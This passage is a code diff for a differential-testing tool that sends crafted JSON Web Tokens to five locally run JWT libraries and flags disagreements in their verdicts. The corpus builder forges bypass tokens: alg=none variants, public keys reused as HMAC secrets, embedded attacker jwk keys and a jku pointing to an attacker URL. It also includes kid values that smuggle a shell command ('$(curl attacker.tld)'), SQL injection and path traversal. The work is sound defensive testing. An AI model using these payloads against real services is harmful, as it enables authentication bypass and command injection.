+ decoded = jwt.decode(token, secret, algorithms=["HS256"])
+ print(f"RESULT: ACCEPTED - {decoded}")
+ print(
+ "RFC 7515 §4.1.11 requires this token be REJECTED because the\n"
+ "recipient (python-jose) does not understand the 'foobar' extension."
+ )
+except Exception as e:
+ print(f"RESULT: REJECTED - {type(e).__name__}: {e}")
orchestrator/differ.py +133 -0
@@ -0,0 +1,133 @@
+"""Schism differential JWT verifier.
+
+Submits each corpus case to every running target. Flags any disagreement
+in the `valid` field. Errors are bucketed (not literal-string compared) so
+different wording across libs doesn't cause false positives.
+"""
+import argparse
+import asyncio
+import json
+import sys
+import time
+from pathlib import Path
+
+import aiohttp
+
+TARGETS = {
+ "nodejwt": "http://localhost:7001/verify",
+ "pyjwt": "http://localhost:7002/verify",
+ "pyjose": "http://localhost:7003/verify",
+ "panva": "http://localhost:7004/verify",
+ "gojwt": "http://localhost:7005/verify",
+}
+
+async def submit_one(session, name, url, payload):
+ try:
+ async with session.post(url, json=payload, timeout=10) as r:
+ return name, await r.json()
+ except Exception as e:
+ return name, {"valid": None, "error": f"transport: {e}", "lib": name}
+
+async def submit_all(session, payload, target_filter=None):
+ tasks = [
+ submit_one(session, n, u, payload)
+ for n, u in TARGETS.items()
+ if not target_filter or n in target_filter
+ ]
+ results = await asyncio.gather(*tasks)
+ return dict(results)
+
+def disagreement(results):
+ verdicts = {n: r.get("valid") for n, r in results.items()}
+ distinct = set(v for v in verdicts.values() if v is not None)
+ return len(distinct) > 1
+
+async def health_check(session):
+ """Probe each target. None => unreachable."""
+ healthy = []
+ for n, url in TARGETS.items():
+ try:
+ async with session.post(url, json={"token": "", "key": "", "algs": []}, timeout=3) as r:
+ if r.status == 200:
+ healthy.append(n)
+ except Exception:
+ pass
+ return healthy
+
+async def run(corpus_path, output_path, only=None):
+ cases = json.loads(Path(corpus_path).read_text())
+ out_f = open(output_path, "w") if output_path else None
+ flagged = 0
+
+ async with aiohttp.ClientSession() as session:
+ healthy = await health_check(session)
+ sys.stderr.write(f"[schism] {len(healthy)}/{len(TARGETS)} targets up: {healthy}\n")
+ if not healthy:
+ sys.stderr.write("[schism] no targets reachable. did you `docker compose up -d`?\n")
+ return 2
+
+ for case in cases:
+ if only and case["id"] != only:
+ continue
+ payload = {
+ "token": case["token"],
+ "key": case["key"],
+ "algs": case["algs"],
+ }
+ results = await submit_all(session, payload, target_filter=set(healthy))
+ disagree = disagreement(results)
+ sev = case.get("severity", "?")
+ expected = case.get("expected_unanimous", "reject")
+ verdicts = {n: r.get("valid") for n, r in results.items()}
+ row = {
+ "id": case["id"],
+ "class": case.get("class"),
+ "severity": sev,
+ "expected": expected,
+ "verdicts": verdicts,
+ "errors": {n: r.get("error") for n, r in results.items()},
+ "claims": {n: r.get("claims") for n, r in results.items()},
+ "disagree": disagree,
+ "ts": time.time(),
+ }
+ if out_f:
+ out_f.write(json.dumps(row) + "\n")
+
+ if disagree:
+ flagged += 1
+ acceptors = [n for n, v in verdicts.items() if v is True]
+ rejectors = [n for n, v in verdicts.items() if v is False]
+
+ tag = "BYPASS" if (expected == "reject" and acceptors)\
+ else "DOS" if (expected == "accept" and rejectors)\
+ else "SPLIT"
+ sys.stderr.write(
+ f"[{tag:^6}] {case['id']:36s} sev={sev:12s} "
+ f"accept={acceptors} reject={rejectors}\n"
+ )
+ else:
+ v = next(iter(set(verdicts.values())), None)
+ tag = "accept" if v is True else "reject" if v is False else "?"
+ match = " " if tag == expected else "!"
+ sys.stderr.write(
+ f"[ ok ]{match}{case['id']:36s} all-{tag:6s} expected={expected}\n"
+ )
+
+ if out_f:
+ out_f.close()
+ sys.stderr.write(f"[schism] done. flagged {flagged}/{len(cases)} cases\n")
+ return 0 if flagged == 0 else 1
+
+def main():
+ ap = argparse.ArgumentParser()
+ ap.add_argument("--corpus", default="corpus/seed.json")
+ ap.add_argument("--out", default=None,
+ help="findings/<ts>.jsonl (default: auto)")
+ ap.add_argument("--only", default=None, help="run a single case by id")
+ args = ap.parse_args()
+ if args.out is None:
+ args.out = f"findings/{int(time.time())}.jsonl"
+ sys.exit(asyncio.run(run(args.corpus, args.out, args.only)))
+
+if __name__ == "__main__":
+ main()
scripts/build_corpus.py +368 -0
@@ -0,0 +1,368 @@
+"""Build corpus/seed.json. Programmatic, dense, multi-class.
+
+Output classes are tagged so triage groups disagreements by bug-family.
+Severity tags:
+ bypass-risk : token should be REJECTED. If any lib accepts, that's an auth-bypass.
+ dos-risk : token should be ACCEPTED. If any lib rejects, that's a denial of validation.
+ parser-quirk: tolerated divergence; surfaces lib personality.
+"""
+import base64
+import hashlib
+import hmac
+import json
+import os
+import struct
+from pathlib import Path
+
+import jwt as pyjwt
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import rsa, ec, ed25519
+
+def b64u(b: bytes) -> str:
+ return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
+
+def b64u_json(o) -> str:
+ return b64u(json.dumps(o, separators=(",", ":")).encode())
+
+def gen_keys():
+ rsa_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+ rsa_priv = rsa_key.private_bytes(
+ serialization.Encoding.PEM,
+ serialization.PrivateFormat.PKCS8,
+ serialization.NoEncryption(),
+ ).decode()
+ rsa_pub = rsa_key.public_key().public_bytes(
+ serialization.Encoding.PEM,
+ serialization.PublicFormat.SubjectPublicKeyInfo,
+ ).decode()
+
+ ec_key = ec.generate_private_key(ec.SECP256R1())
+ ec_priv = ec_key.private_bytes(
+ serialization.Encoding.PEM,
+ serialization.PrivateFormat.PKCS8,
+ serialization.NoEncryption(),
+ ).decode()
+ ec_pub = ec_key.public_key().public_bytes(
+ serialization.Encoding.PEM,
+ serialization.PublicFormat.SubjectPublicKeyInfo,
+ ).decode()
+
+ return rsa_priv, rsa_pub, ec_priv, ec_pub, "schism-secret"
+
+CLAIMS = {"sub": "alice", "iat": 1_700_000_000, "exp": 9_999_999_999}
+
+def hs256_sign(secret_bytes: bytes, header: dict, claims: dict) -> str:
+ h = b64u_json(header)
+ p = b64u_json(claims)
+ sig = hmac.new(secret_bytes, f"{h}.{p}".encode(), hashlib.sha256).digest()
+ return f"{h}.{p}.{b64u(sig)}"
+
+def cases():
+ rsa_priv, rsa_pub, ec_priv, ec_pub, hmac_key = gen_keys()
+ out = []
+
+ def add(id_, cls, sev, token, key, algs, expected, notes=""):
+ out.append({
+ "id": id_, "class": cls, "severity": sev,
+ "token": token, "key": key, "algs": algs,
+ "expected_unanimous": expected, "notes": notes,
+ })
+
+ add("base-rs256", "baseline", "control",
+ pyjwt.encode(CLAIMS, rsa_priv, algorithm="RS256"),
+ rsa_pub, ["RS256"], "accept", "happy path RS256")
+ add("base-hs256", "baseline", "control",
+ pyjwt.encode(CLAIMS, hmac_key, algorithm="HS256"),
+ hmac_key, ["HS256"], "accept", "happy path HS256")
+ add("base-es256", "baseline", "control",
+ pyjwt.encode(CLAIMS, ec_priv, algorithm="ES256"),
+ ec_pub, ["ES256"], "accept", "happy path ES256")
+
+ none_variants = [
+ ("none", "alg=none lower"),
+ ("None", "alg=None title"),
+ ("NONE", "alg=NONE upper"),
+ ("nOnE", "alg=nOnE mixed"),
+ ("none\x00", "alg=none\\x00 trailing null"),
+ (" none", "alg= none leading space"),
+ ("none ", "alg=none trailing space"),
+ ("none", "alg=none unicode escape"),
+ ]
+ for v, note in none_variants:
+ h = b64u_json({"alg": v, "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ add(f"none-{v.strip().lower() or 'empty'}-{hash(v) & 0xFFF:x}",
+ "none-alg", "bypass-risk",
+ f"{h}.{p}.", "", ["RS256"], "reject", note)
+
+ h = b64u_json({"alg": "none", "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ add("none-with-junk-sig", "none-alg", "bypass-risk",
+ f"{h}.{p}.{b64u(b'whatever')}", "", ["RS256"], "reject",
+ "alg=none with non-empty signature segment")
+
+ for alg in ["HS256", "HS384", "HS512"]:
+ sig_alg = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}[alg]
+ h = b64u_json({"alg": alg, "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(rsa_pub.encode(), f"{h}.{p}".encode(), sig_alg).digest()
+ add(f"alg-conf-rsa-as-{alg.lower()}", "alg-confusion", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", rsa_pub, ["RS256", alg], "reject",
+ f"forge {alg} using RSA pubkey PEM as HMAC secret; allowlist includes both")
+
+ for alg in ["HS256"]:
+ sig_alg = hashlib.sha256
+ h = b64u_json({"alg": alg, "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(ec_pub.encode(), f"{h}.{p}".encode(), sig_alg).digest()
+ add(f"alg-conf-ec-as-{alg.lower()}", "alg-confusion", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", ec_pub, ["ES256", alg], "reject",
+ f"forge {alg} using EC pubkey PEM as HMAC secret")
+
+ h = b64u_json({"alg": "HS256", "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(rsa_pub.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("alg-conf-strict-allowlist", "alg-confusion", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", rsa_pub, ["RS256"], "reject",
+ "token claims HS256 but allowlist=[RS256] - must reject from allowlist alone")
+
+ rsa_pub_der = base64.b64encode(
+ serialization.load_pem_public_key(rsa_pub.encode()).public_bytes(
+ serialization.Encoding.DER,
+ serialization.PublicFormat.SubjectPublicKeyInfo,
+ )
+ ).decode()
+ h = b64u_json({"alg": "HS256", "typ": "JWT"})
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(rsa_pub_der.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("alg-conf-rsa-der-as-hs256", "alg-confusion", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", rsa_pub_der, ["RS256", "HS256"], "reject",
+ "RSA pubkey DER (no PEM headers) as HMAC secret - bypasses PEM-detection guards")
+
+ crit_cases = [
+ ({"alg": "HS256", "typ": "JWT", "crit": ["foobar"], "foobar": True},
+ "crit references unknown ext"),
+ ({"alg": "HS256", "typ": "JWT", "crit": ["b64"], "b64": False},
+ "crit=b64=false (RFC 7797 detached payload)"),
+ ({"alg": "HS256", "typ": "JWT", "crit": []},
+ "crit empty array - strict reading rejects"),
+ ({"alg": "HS256", "typ": "JWT", "crit": "foobar", "foobar": True},
+ "crit as scalar string instead of array"),
+ ({"alg": "HS256", "typ": "JWT", "crit": ["alg"], "alg": "HS256"},
+ "crit names reserved 'alg' - RFC 7515 4.1.11 forbids reserved names"),
+ ]
+ for hdr, note in crit_cases:
+ h = b64u_json(hdr)
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(hmac_key.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+ slug = note.split()[0].lower().replace("=", "-").replace("/", "-")
+ add(f"crit-{slug}-{hash(note) & 0xFFF:x}",
+ "crit-header", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject", note)
+
+ attacker_secret = "attacker-symmetric-key"
+ h = b64u_json({"alg": "HS256", "typ": "JWT", "jwk": {"kty": "oct", "k": b64u(attacker_secret.encode())}})
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(attacker_secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("jwk-embed-oct-self-sign", "key-injection", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "header.jwk embeds attacker oct key, sig validates against THAT key")
+
+ h = b64u_json({"alg": "RS256", "typ": "JWT",
+ "jwk": {"kty": "RSA", "n": b64u(b"x" * 256), "e": "AQAB"}})
+ p = b64u_json(CLAIMS)
+ add("jwk-embed-rsa-bogus-sig", "key-injection", "bypass-risk",
+ f"{h}.{p}.{b64u(b'x' * 256)}", rsa_pub, ["RS256"], "reject",
+ "header.jwk RSA + invalid sig; lib must use configured key, not jwk header")
+
+ h = b64u_json({"alg": "RS256", "typ": "JWT", "jku": "https://attacker.example/jwks.json"})
+ p = b64u_json(CLAIMS)
+ add("jku-attacker-url", "key-injection", "bypass-risk",
+ f"{h}.{p}.{b64u(b'x' * 256)}", rsa_pub, ["RS256"], "reject",
+ "header.jku to attacker domain. Lib must not fetch; sig is invalid anyway.")
+
+ kids = [
+ "../../../../dev/null",
+ "'; DROP TABLE keys;--",
+ "$(curl attacker.tld)",
+ "key1\nkey2",
+ "\\\\attacker\\share\\key.pem",
+ "{\"$ne\": null}",
+ "../../etc/passwd",
+ "🔑",
+ ]
+ for k in kids:
+ h = b64u_json({"alg": "HS256", "typ": "JWT", "kid": k})
+ p = b64u_json(CLAIMS)
+ slug = "kid-" + hashlib.sha1(k.encode()).hexdigest()[:8]
+ add(slug, "kid-injection", "parser-quirk",
+ f"{h}.{p}.{b64u(b'x' * 32)}", hmac_key, ["HS256"], "reject",
+ f"kid={k!r} - sig bogus, value is whether lib surfaces oddly")
+
+ good_hs = pyjwt.encode(CLAIMS, hmac_key, algorithm="HS256")
+ h_part, p_part, sig_part = good_hs.split(".")
+ sig_mutations = [
+ ("empty", ""),
+ ("zero32", b64u(b"\x00" * 32)),
+ ("ones32", b64u(b"\xff" * 32)),
+ ("truncated", sig_part[:20]),
+ ("doubled", sig_part + sig_part),
+ ("ascii", b64u(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")),
+ ("padded", sig_part + "===="),
+ ("urlsafe-vs-std", sig_part.replace("-", "+").replace("_", "/")),
+ ]
+ for name, mut in sig_mutations:
+ add(f"sig-{name}", "sig-mutation", "bypass-risk",
+ f"{h_part}.{p_part}.{mut}", hmac_key, ["HS256"], "reject",
+ f"sig mutation: {name}")
+
+ good_es = pyjwt.encode(CLAIMS, ec_priv, algorithm="ES256")
+ h_es, p_es, sig_es = good_es.split(".")
+ raw_sig = base64.urlsafe_b64decode(sig_es + "===")
+ zero64 = b"\x00" * 64
+ leading0 = b"\x00" + raw_sig
+ s_zero = raw_sig[:32] + b"\x00" * 32
+ add("ecdsa-zero-rs", "ecdsa-encoding", "bypass-risk",
+ f"{h_es}.{p_es}.{b64u(zero64)}", ec_pub, ["ES256"], "reject",
+ "ES256 with r=0, s=0 - must reject")
+ add("ecdsa-65byte", "ecdsa-encoding", "bypass-risk",
+ f"{h_es}.{p_es}.{b64u(leading0)}", ec_pub, ["ES256"], "reject",
+ "ES256 with extra leading zero byte (65 bytes total)")
+ add("ecdsa-s-zero", "ecdsa-encoding", "bypass-risk",
+ f"{h_es}.{p_es}.{b64u(s_zero)}", ec_pub, ["ES256"], "reject",
+ "ES256 with valid r and s=0")
+
+ type_claims = [
+ ({**CLAIMS, "exp": "9999999999"}, "exp as string", "accept"),
+ ({**CLAIMS, "exp": True}, "exp as bool true", "accept"),
+ ({**CLAIMS, "exp": [9_999_999_999]}, "exp as 1-elem array", "accept"),
+ ({**CLAIMS, "exp": None}, "exp as null", "accept"),
+ ({**CLAIMS, "exp": -1}, "exp negative -1", "reject"),
+ ({**CLAIMS, "exp": 0}, "exp zero", "reject"),
+ ({**CLAIMS, "exp": 9_999_999_999.5}, "exp float well-future", "accept"),
+ ({**CLAIMS, "iat": "1700000000"}, "iat as string", "accept"),
+ ({**CLAIMS, "nbf": 9_999_999_999}, "nbf far future", "reject"),
+ ({**CLAIMS, "sub": 12345}, "sub as int", "accept"),
+ ]
+ for cl, note, exp in type_claims:
+ token = pyjwt.encode(cl, rsa_priv, algorithm="RS256")
+ slug = "claim-" + hashlib.sha1(note.encode()).hexdigest()[:8]
+ add(slug, "claim-typing",
+ "dos-risk" if exp == "accept" else "bypass-risk",
+ token, rsa_pub, ["RS256"], exp, note)
+
+ raw_dup = b'{"alg":"none","alg":"HS256","typ":"JWT"}'
+ p = b64u_json(CLAIMS)
+ sig = hmac.new(hmac_key.encode(),
+ f"{b64u(raw_dup)}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-dup-alg-keys-with-valid-hs256-sig", "header-quirk", "bypass-risk",
+ f"{b64u(raw_dup)}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "accept",
+ "dup alg keys; if last-wins (HS256), sig is valid; if first-wins (none), sig is bogus")
+
+ raw_dup2 = b'{"alg":"HS256","alg":"none","typ":"JWT"}'
+ add("hdr-dup-alg-none-last", "header-quirk", "bypass-risk",
+ f"{b64u(raw_dup2)}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "dup alg keys, none last; first-wins lib accepts (sig good for HS256)")
+
+ raw_comment = b'{/*x*/"alg":"HS256","typ":"JWT"}'
+ h = b64u(raw_comment)
+ sig = hmac.new(hmac_key.encode(),
+ f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-json-comment", "header-quirk", "parser-quirk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "header JSON contains a /* */ comment")
+
+ raw_trailing = b'{"alg":"HS256","typ":"JWT",}'
+ h = b64u(raw_trailing)
+ sig = hmac.new(hmac_key.encode(),
+ f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-json-trailing-comma", "header-quirk", "parser-quirk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "trailing comma in header JSON - strict reject, lenient accept")
+
+ raw_bom = b"\xef\xbb\xbf" + b'{"alg":"HS256","typ":"JWT"}'
+ h = b64u(raw_bom)
+ sig = hmac.new(hmac_key.encode(),
+ f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-utf8-bom", "header-quirk", "parser-quirk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "UTF-8 BOM at start of header JSON")
+
+ h = b64u_json({"alg": 256, "typ": "JWT"})
+ sig = hmac.new(hmac_key.encode(),
+ f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-alg-as-int", "header-quirk", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "alg=256 (int) - must reject (must be StringOrURI)")
+
+ h = b64u_json({"alg": ["HS256"], "typ": "JWT"})
+ sig = hmac.new(hmac_key.encode(),
+ f"{h}.{p}".encode(), hashlib.sha256).digest()
+ add("hdr-alg-as-array", "header-quirk", "bypass-risk",
+ f"{h}.{p}.{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "alg=['HS256'] - must reject")
+
+ good = pyjwt.encode(CLAIMS, hmac_key, algorithm="HS256")
+ h_, p_, s_ = good.split(".")
+ add("fmt-trailing-dot", "format", "parser-quirk",
+ good + ".", hmac_key, ["HS256"], "reject",
+ "trailing dot - fourth empty segment")
+ add("fmt-five-segments", "format", "parser-quirk",
+ good + ".extra.junk", hmac_key, ["HS256"], "reject",
+ "5-dot-separated segments (JWE-shape masquerade)")
+ add("fmt-leading-ws", "format", "parser-quirk",
+ " " + good, hmac_key, ["HS256"], "reject",
+ "leading whitespace before token")
+ add("fmt-trailing-ws", "format", "parser-quirk",
+ good + " ", hmac_key, ["HS256"], "reject",
+ "trailing whitespace after token")
+ add("fmt-double-slash", "format", "parser-quirk",
+ good + "//", hmac_key, ["HS256"], "reject",
+ "trailing // - base64 padding chars")
+ add("fmt-extra-padding", "format", "parser-quirk",
+ f"{h_}=.{p_}=.{s_}=", hmac_key, ["HS256"], "reject",
+ "explicit base64 padding on each segment")
+
+ add("allow-empty", "allowlist-edge", "bypass-risk",
+ good, hmac_key, [], "reject", "empty allowlist - must reject")
+ add("allow-mismatch", "allowlist-edge", "bypass-risk",
+ good, hmac_key, ["RS256"], "reject",
+ "token alg=HS256 but allowlist=[RS256]")
+ add("allow-superset", "allowlist-edge", "control",
+ good, hmac_key, ["HS256", "RS256", "ES256"], "accept",
+ "broad allowlist that includes token alg")
+
+ h = b64u_json({"alg": "HS256", "b64": False, "crit": ["b64"]})
+ payload_raw = json.dumps(CLAIMS, separators=(",", ":")).encode()
+ signing_input = h.encode() + b"." + payload_raw
+ sig = hmac.new(hmac_key.encode(), signing_input, hashlib.sha256).digest()
+
+ add("b64-false-detached", "b64-detached", "bypass-risk",
+ f"{h}..{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "RFC 7797 detached payload - most libs don't support; must reject")
+
+ h = b64u_json({"alg": "HS256", "b64": False})
+ add("b64-false-no-crit", "b64-detached", "bypass-risk",
+ f"{h}..{b64u(sig)}", hmac_key, ["HS256"], "reject",
+ "b64=false without crit - spec violation, must reject")
+
+ return out
+
+def main():
+ cs = cases()
+ Path("corpus/seed.json").write_text(json.dumps(cs, indent=2))
+ print(f"wrote {len(cs)} cases -> corpus/seed.json")
+ by_class = {}
+ by_sev = {}
+ for c in cs:
+ by_class[c["class"]] = by_class.get(c["class"], 0) + 1
+ by_sev[c["severity"]] = by_sev.get(c["severity"], 0) + 1
+ print("by class:")
+ for k, v in sorted(by_class.items()):
+ print(f" {k:20s} {v}")
+ print("by severity:")
+ for k, v in sorted(by_sev.items()):
+ print(f" {k:20s} {v}")
+
+if __name__ == "__main__":
+ main()
scripts/down.sh +4 -0
@@ -0,0 +1,4 @@
+#!/usr/bin/env bash
+for name in nodejwt pyjwt pyjose panva gojwt; do
+ docker rm -f "schism-$name" >/dev/null 2>&1 && echo "[down] $name" || true
+done
scripts/down_native.sh +11 -0
@@ -0,0 +1,11 @@
+#!/usr/bin/env bash
+cd "$(dirname "$0")/.."
+for f in .native/pids/*.pid; do
+ [[ -f $f ]] || continue
+ pid=$(cat "$f")
+ name=$(basename "$f" .pid)
+ if kill -0 "$pid" 2>/dev/null; then
+ kill "$pid" && echo "[down] $name (pid $pid)"
+ fi
+ rm -f "$f"
+done
scripts/up.sh +39 -0
@@ -0,0 +1,39 @@
+#!/usr/bin/env bash
+set -e
+cd "$(dirname "$0")/.."
+
+declare -A TARGETS=(
+ [nodejwt]="targets/node-jsonwebtoken:7001"
+ [pyjwt]="targets/pyjwt:7002"
+ [pyjose]="targets/python-jose:7003"
+ [panva]="targets/jose-panva:7004"
+ [gojwt]="targets/golang-jwt:7005"
+)
+
+ONLY="${1:-}"
+
+for name in "${!TARGETS[@]}"; do
+ if [[ -n "$ONLY" && "$ONLY" != "$name" ]]; then continue; fi
+ ctx="${TARGETS[$name]%:*}"
+ port="${TARGETS[$name]##*:}"
+ img="schism-$name"
+ echo "[build] $name <- $ctx"
+ docker build -q -t "$img" "$ctx" >/dev/null
+ echo "[run] $name :$port"
+ docker rm -f "schism-$name" >/dev/null 2>&1 || true
+ docker run -d --name "schism-$name" -p "$port:$port" --restart unless-stopped "$img" >/dev/null
+done
+
+echo "[ready] sleeping 2s for boot..."
+sleep 2
+for name in "${!TARGETS[@]}"; do
+ if [[ -n "$ONLY" && "$ONLY" != "$name" ]]; then continue; fi
+ port="${TARGETS[$name]##*:}"
+ if curl -s -o /dev/null -w "%{http_code}" -X POST "http://localhost:$port/verify" \
+ -H 'Content-Type: application/json' -d '{"token":"","key":"","algs":[]}' \
+ | grep -q 200; then
+ echo " ok $name :$port"
+ else
+ echo " ?? $name :$port (not 200 - check logs: docker logs schism-$name)"
+ fi
+done
scripts/up_native.sh +38 -0
@@ -0,0 +1,38 @@
+#!/usr/bin/env bash
+set -e
+ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+mkdir -p "$ROOT/.native/logs" "$ROOT/.native/pids"
+
+probe() {
+ local port="$1"
+ curl -s -o /dev/null -w "%{http_code}" -X POST "http://localhost:$port/verify" \
+ -H 'Content-Type: application/json' -d '{"token":"","key":"","algs":[]}' \
+ --max-time 2
+}
+
+start() {
+ local name="$1" port="$2" cmd="$3" cwd="$4"
+ local pidf="$ROOT/.native/pids/$name.pid"
+ local logf="$ROOT/.native/logs/$name.log"
+
+ if [[ -f "$pidf" ]] && kill -0 "$(cat "$pidf")" 2>/dev/null; then
+ echo " ? $name already running (pid $(cat "$pidf"))"
+ return
+ fi
+
+ ( cd "$cwd" && nohup bash -c "$cmd" >"$logf" 2>&1 & echo $! > "$pidf" )
+
+ for _ in 1 2 3 4 5; do
+ sleep 0.4
+ if [[ "$(probe "$port")" == "200" ]]; then
+ echo " ok $name :$port pid=$(cat "$pidf")"
+ return
+ fi
+ done
+ echo " XX $name :$port - see $logf"
+}
+
+start nodejwt 7001 "node server.js" "$ROOT/.native/nodejwt"
+start pyjwt 7002 "python3 server.py" "$ROOT/targets/pyjwt"
+start pyjose 7003 "python3 server.py" "$ROOT/targets/python-jose"
+start panva 7004 "node server.js" "$ROOT/.native/panva"
targets/golang-jwt/Dockerfile +10 -0
@@ -0,0 +1,10 @@
+FROM golang:1.23-alpine AS build
+WORKDIR /src
+COPY go.mod .
+COPY server.go .
+RUN go mod tidy && go build -o /server ./...
+
+FROM alpine:3.20
+COPY --from=build /server /server
+EXPOSE 7005
+CMD ["/server"]
targets/golang-jwt/go.mod +5 -0
@@ -0,0 +1,5 @@
+module schism/gojwt
+
+go 1.23
+
+require github.com/golang-jwt/jwt/v5 v5.2.1
targets/golang-jwt/server.go +121 -0
@@ -0,0 +1,121 @@
+package main
+
+import (
+ "crypto/x509"
+ "encoding/json"
+ "encoding/pem"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+
+ "github.com/golang-jwt/jwt/v5"
+)
+
+const libID = "gojwt"
+const libVersion = "5.2.1"
+
+type req struct {
+ Token string `json:"token"`
+ Key any `json:"key"`
+ Algs []string `json:"algs"`
+}
+
+type res struct {
+ Valid bool `json:"valid"`
+ Claims map[string]any `json:"claims"`
+ Error string `json:"error,omitempty"`
+ Lib string `json:"lib"`
+ Version string `json:"version"`
+}
+
+func parseKey(keyMat any, alg string) (any, error) {
+ keyStr, ok := keyMat.(string)
+ if !ok {
+ return nil, fmt.Errorf("unsupported key type")
+ }
+ switch alg[:2] {
+ case "HS":
+ return []byte(keyStr), nil
+ case "RS", "PS":
+ block, _ := pem.Decode([]byte(keyStr))
+ if block == nil {
+ return nil, fmt.Errorf("pem decode failed")
+ }
+ k, err := x509.ParsePKIXPublicKey(block.Bytes)
+ if err != nil {
+ k2, err2 := x509.ParseCertificate(block.Bytes)
+ if err2 != nil {
+ return nil, err
+ }
+ return k2.PublicKey, nil
+ }
+ return k, nil
+ case "ES":
+ block, _ := pem.Decode([]byte(keyStr))
+ if block == nil {
+ return nil, fmt.Errorf("pem decode failed")
+ }
+ k, err := x509.ParsePKIXPublicKey(block.Bytes)
+ if err != nil {
+ return nil, err
+ }
+ return k, nil
+ default:
+ return []byte(keyStr), nil
+ }
+}
+
+func verdict(body []byte) res {
+ var r req
+ if err := json.Unmarshal(body, &r); err != nil {
+ return res{Valid: false, Error: "bad json: " + err.Error(), Lib: libID, Version: libVersion}
+ }
+ if len(r.Algs) == 0 {
+ return res{Valid: false, Error: "no algs", Lib: libID, Version: libVersion}
+ }
+ keyfn := func(t *jwt.Token) (any, error) {
+ alg, ok := t.Header["alg"].(string)
+ if !ok {
+ return nil, fmt.Errorf("no alg")
+ }
+ permitted := false
+ for _, a := range r.Algs {
+ if a == alg {
+ permitted = true
+ break
+ }
+ }
+ if !permitted {
+ return nil, fmt.Errorf("alg %s not in allowlist", alg)
+ }
+ return parseKey(r.Key, alg)
+ }
+ parsed, err := jwt.Parse(r.Token, keyfn, jwt.WithValidMethods(r.Algs))
+ if err != nil || !parsed.Valid {
+ msg := "invalid"
+ if err != nil {
+ msg = err.Error()
+ }
+ return res{Valid: false, Error: msg, Lib: libID, Version: libVersion}
+ }
+ claims, _ := parsed.Claims.(jwt.MapClaims)
+ return res{Valid: true, Claims: claims, Lib: libID, Version: libVersion}
+}
+
+func handler(w http.ResponseWriter, r *http.Request) {
+ if r.Method != http.MethodPost || r.URL.Path != "/verify" {
+ w.WriteHeader(http.StatusNotFound)
+ return
+ }
+ body, _ := io.ReadAll(r.Body)
+ out := verdict(body)
+ w.Header().Set("Content-Type", "application/json")
+ json.NewEncoder(w).Encode(out)
+}
+
+func main() {
+ http.HandleFunc("/verify", handler)
+ log.Printf("[%s %s] listening :7005", libID, libVersion)
+ log.Fatal(http.ListenAndServe(":7005", nil))
+}
targets/jose-panva/Dockerfile +7 -0
@@ -0,0 +1,7 @@
+FROM node:20-alpine
+WORKDIR /app
+COPY package.json .
+RUN npm install --omit=dev --silent
+COPY server.js .
+EXPOSE 7004
+CMD ["node", "server.js"]
targets/jose-panva/package.json +8 -0
@@ -0,0 +1,8 @@
+{
+ "name": "schism-target-panva",
+ "version": "0.1.0",
+ "private": true,
+ "dependencies": {
+ "jose": "^5.9.6"
+ }
+}
targets/jose-panva/server.js +68 -0
@@ -0,0 +1,68 @@
+const http = require("http");
+const jose = require("jose");
+
+const LIB_ID = "panva";
+const LIB_VERSION = require("jose/package.json").version;
+
+async function importKey(keyMaterial, algs) {
+ // Detection is by *key content*, not by alg, so the lib gets a chance
+ // to refuse mismatched (key, alg) pairs the way the other libs do.
+ if (typeof keyMaterial === "string" && keyMaterial.includes("BEGIN")) {
+ // Asymmetric key in PEM form - try every asymmetric alg in allowlist.
+ const asymAlgs = algs.filter((a) => /^(RS|PS|ES|Ed)/.test(a));
+ const tryAlg = asymAlgs[0] || algs[0];
+ return await jose
+ .importSPKI(keyMaterial, tryAlg)
+ .catch(async () => jose.importX509(keyMaterial, tryAlg));
+ }
+ if (typeof keyMaterial === "object" && keyMaterial !== null) {
+ const alg = algs[0];
+ return await jose.importJWK(keyMaterial, alg);
+ }
+ // Plain string symmetric secret -> UTF-8 bytes for HMAC.
+ return new TextEncoder().encode(keyMaterial);
+}
+
+async function verdict(payload) {
+ const { token, key, algs } = payload;
+ try {
+ const k = await importKey(key, algs);
+ const { payload: claims } = await jose.jwtVerify(token, k, {
